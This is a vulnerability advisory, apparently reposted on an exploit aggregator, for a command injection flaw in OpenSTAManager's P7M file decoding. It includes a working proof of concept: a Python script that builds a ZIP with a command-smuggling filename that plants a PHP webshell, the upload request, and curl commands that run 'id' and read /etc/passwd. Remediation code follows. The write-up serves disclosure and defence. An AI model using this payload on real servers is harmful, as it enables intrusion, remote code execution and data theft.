## https://sploitus.com/exploit?id=PACKETSTORM:218760
# CVE-2025-69212: OpenSTAManager has an OS Command Injection in P7M File Processing
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2025-69212](https://nvd.nist.gov/vuln/detail/CVE-2025-69212) |
| **Severity** | CRITICAL |
| **Advisory** | [View Advisory](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **devcode-it/openstamanager** (versions: <= 2.9.8)
## CWE Classification
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
## Details
## Summary
A critical OS Command Injection vulnerability exists in the P7M (signed XML) file decoding functionality. An authenticated attacker can upload a ZIP file containing a .p7m file with a malicious filename to execute arbitrary system commands on the server.
## Vulnerable Code
**File:** `src/Util/XML.php:100`
```php
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$content = file_get_contents($file);
$output_file = $directory.'/'.basename($file, '.p7m');
try {
if (function_exists('exec')) {
// VULNERABLE - No input sanitization!
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
```
**The Problem:**
- The `$file` parameter is passed directly into `exec()` without sanitization
- Although wrapped in double quotes, an attacker can escape them
- The filename comes from uploaded ZIP archives (user-controlled)
## Attack Vector
### Entry Points:
1. **plugins/importFE_ZIP/actions.php:126** (when automatic import is enabled)
```php
foreach ($files_xml as $xml) {
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml); // $xml from ZIP!
```
2. **plugins/importFE/src/FatturaElettronica.php:56** (constructor)
```php
if (string_ends_with($name, '.p7m')) {
$file = XML::decodeP7M($this->file); // $name from user input!
```
### Attack Flow:
1. Attacker creates ZIP with malicious filename
2. Upload ZIP via importFE_ZIP plugin
3. Application extracts ZIP and iterates files
4. For `.p7m` files, `decodeP7M()` is called
5. Malicious filename is injected into `exec()` command
6. Arbitrary command executes as web server user
## Proof of Concept
**โ ๏ธ IMPORTANT NOTE:** PHP's `ZipArchive::extractTo()` splits filenames on `/` character. Payload must NOT contain `/` in commands. Use `cd directory && command` instead of absolute paths.
### Step 1: Create Malicious ZIP
```python
import zipfile
cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'
with zipfile.ZipFile('exploit.zip', 'w') as zf:
zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
```
### Step 2: Upload ZIP
```http
POST /actions.php HTTP/1.1
Host: localhost:8081
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBKunENXxjEx5VrRc
Cookie: PHPSESSID=10fcc3c3cdccf2466ada216d5839084b
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="blob1"; filename="exploit.zip"
Content-Type: application/zip
[ZIP CONTENT]
------WebKitFormBoundaryBKunENXxjEx5VrRc--
Content-Disposition: form-data; name="op"
save
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_module"
14
------WebKitFormBoundaryBKunENXxjEx5VrRc
Content-Disposition: form-data; name="id_plugin"
48
------WebKitFormBoundaryBKunENXxjEx5VrRc--
```
<img width="2539" height="809" alt="image" src="https://github.com/user-attachments/assets/f39cf6ad-9e8d-41de-866e-e01ec2064fd1" />
<img width="1543" height="659" alt="image" src="https://github.com/user-attachments/assets/41fbd038-0bce-4b1c-bdc3-8ddcf3bf13be" />
### Step 3: Exploitation Result
**Response (500 error is expected - XML parsing fails AFTER command execution):**
```http
HTTP/1.1 500 Internal Server Error
{"error":{"type":"Exception","message":"Start tag expected, '<' not found"}}
```
**Verification - Webshell Created:**
<img width="1111" height="239" alt="image" src="https://github.com/user-attachments/assets/d2e36cf3-c438-4509-be46-36d5c6f3e0d1" />
### Step 4: Remote Code Execution
**Webshell is publicly accessible without authentication:**
```bash
$ curl "http://localhost:8081/files/SHELL.php?c=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ curl "http://localhost:8081/files/SHELL.php?c=cat+/etc/passwd"
[Full /etc/passwd output]
```
<img width="698" height="475" alt="image" src="https://github.com/user-attachments/assets/7ee4630b-95a8-450c-bdce-d6f703c8168d" />
## Impact
- **Remote Code Execution:** Full server compromise
- **Data Exfiltration:** Access to all application data and database
- **Privilege Escalation:** Potential escalation if web server runs with elevated privileges
- **Persistence:** Install backdoors and maintain access
- **Lateral Movement:** Pivot to other systems on the network
## Prerequisites
- Authenticated user with access to invoice import functionality
## Remediation
### Input Sanitization
```php
public static function decodeP7M($file)
{
// Validate that file path doesn't contain shell metacharacters
if (preg_match('/[;&|`$(){}\\[\\]<>]/', $file)) {
throw new \Exception('Invalid file path');
}
// Better: use escapeshellarg()
$safe_file = escapeshellarg($file);
$safe_output = escapeshellarg($output_file);
exec("openssl smime -verify -noverify -in $safe_file -inform DER -out $safe_output", $output, $cmd);
}
```
or
### Validate Filename Before Processing
```php
// In the upload handler, validate filenames from ZIP
foreach ($files_xml as $xml) {
// Only allow alphanumeric, dots, dashes, underscores
if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
continue; // Skip invalid filenames
}
if (string_ends_with($xml, '.p7m')) {
$file = XML::decodeP7M($directory.'/'.$xml);
}
}
```
## Credit
Discovered by: ลukasz Rybak
## References
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-25fp-8w8p-mx36
- https://nvd.nist.gov/vuln/detail/CVE-2025-69212
- https://github.com/advisories/GHSA-25fp-8w8p-mx36
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.